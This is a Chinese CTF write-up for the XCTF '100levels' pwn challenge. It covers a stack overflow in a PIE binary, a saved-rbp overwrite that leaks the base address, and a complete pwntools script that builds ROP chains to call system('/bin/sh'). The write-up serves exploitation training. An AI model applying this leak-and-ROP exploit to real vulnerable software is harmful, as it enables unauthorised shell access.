【XCTF攻防世界】100levels Writeup

@t3ls  July 31, 2019

XCTF攻防世界 : 100levels

题目链接:https://github.com/t3ls/pwn/tree/master/XCTF-adworld/100levels

步骤

这题的漏洞非常明显,在递归函数里的一个栈溢出,程序的逻辑也比较简单,此题的难点就在于开了pie,根本不知道rop到哪里,所以第一步要做的肯定就是 info leak。

找程序中存在输出的地方,发现这一句,IDA并没有识别出level这个变量是栈上的

printf("Level %d\n", (unsigned int)level);

不过看汇编可以发现,这个变量的位置是rbp-0x34

0x555555554ecc: mov eax,DWORD PTR [rbp-0x34] 
0x555555554ecf: mov esi,eax 
0x555555554ed1: lea rdi,[rip+0x369] # 0x555555555241 
0x555555554ed8: mov eax,0x0 
0x555555554edd: call 0x555555554920 <[email protected]>

再来看一下栈里的数据,

pwndbg> x/40xg 0x7fffffffdb20-0x60
0x7fffffffdac0:    0x0000000000000000    0x0000000000000000
0x7fffffffdad0:    0x0000000000000000    0x0000000000000000
0x7fffffffdae0:    0x0000000000000000    0x0000000000000000
0x7fffffffdaf0:    0x00007fffffffdb40    0x0000555555554e8b
0x7fffffffdb00:    0x000000000000000a    0x00000002554f2760
0x7fffffffdb10:    0x0000000000000000    0x0000000000000000
0x7fffffffdb20:    0x0000000000000000    0x0000000000000000
0x7fffffffdb30:    0x00005555555549d0    0x00007fffffffdd90
0x7fffffffdb40:    0x00007fffffffdc70    0x0000555555554c8a
0x7fffffffdb50:    0x0000000000000000    0x000000005d41380b
0x7fffffffdb60:    0x0000000000000002    0x0000000000000002
0x7fffffffdb70:    0x00007fffffffdcd0    0x000015555553638f
0x7fffffffdb80:    0x0000000000000000    0x00001555553b13bd
0x7fffffffdb90:    0x0000000000000000    0x00001555553b13bd
0x7fffffffdba0:    0x0000000000000d68    0x00001555554f2760
0x7fffffffdbb0:    0x0000000000000d68    0x00001555554ee2a0
0x7fffffffdbc0:    0x00001555554f27e3    0x00001555553b075f
0x7fffffffdbd0:    0x0000000000000007    0x0000000000000001
0x7fffffffdbe0:    0x000000000000000a    0x00001555554f2848
0x7fffffffdbf0:    0x0000555555555239    0x0000000000000000

其中0x7fffffffdaf0是最上层函数的栈帧,所以思路就是通过栈溢出覆盖掉当前函数保存的上一个函数的rbp的低位,这样就可以打印出返回地址。(有的思路是只泄露低位4字节,这样可以使rbp-0x34这个局部变量运算时不会发生除零错误,但是需要爆破高位的8到9个bit)。随便根据一次的rbp计算出一种满足的末位,以上面的内存举例就可以是\x50,这样返回函数的栈帧就是0x7fffffffdb50,会打印出0x0000555555554c8a这个地址,然后就是常规rop。

exp:

from pwn import *
context.update(arch='amd64', log_level='info')
p = process('./100levels', aslr=False)

e = ELF('./100levels')
gdb.attach(p, '''
           b *0xef6+0x555555554000
           #b *0xf0c+0x555555554000
           c
           ''')

if __name__ == '__main__':
    while 1:
        try:
            p.sendlineafter(':', '1')
            p.sendlineafter('?', '2')
            p.sendlineafter('?', '0')
            payload1 = ('0\x00\x00\x00'+p32(0x2)*3).ljust(0x30, '\x00') + '\x20'
            p.sendafter(':', payload1)
            p.recvuntil('Question: ', timeout=0.2)
            ha = int(p.recvuntil(' * ', drop=True), 10)
            la = int(p.recvuntil(' = ', drop=True), 10)
            e.address = u64(p32(la) + p32(ha)) & 0xfffffffff000
            print(hex(e.address))
            if e.address < 0x550000000000 or e.address >= 0x560000000000:
                raise EOFError
            pop_rdi = e.address + 0x0000000000001033
            pop_rsi_r15 = e.address + 0x0000000000001031
            payload2 = '1\x00\x00\x00\x01'.ljust(0x14, '\x00') + p32(1)*3 + p64(0)
            payload2 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(e.bss(4)) + p64(0) + p64(e.plt['read']) + p64(e.address + 0x9d0)
            p.sendafter(':', payload2)
            p.sendline('/bin/sh\x00')
            p.recvuntil(':', timeout=0.3)
            p.sendline('2')
            p.recvuntil('Hint: ')
            system = int(p.recvuntil('\n', drop=True), 16)
            print(hex(system))
            p.sendlineafter(':', '1')
            p.sendlineafter('?', '1')
            p.sendlineafter('?', '0')
            payload1 = '0'.ljust(0x38, '\x00') + p64(pop_rdi) + p64(e.bss(4)) + p64(system) + p64(e.address + 0x9d0)
            p.sendafter(':', payload1)
            p.interactive()

        except:
            p.close()
            p = process('./100levels', aslr=True)


添加新评论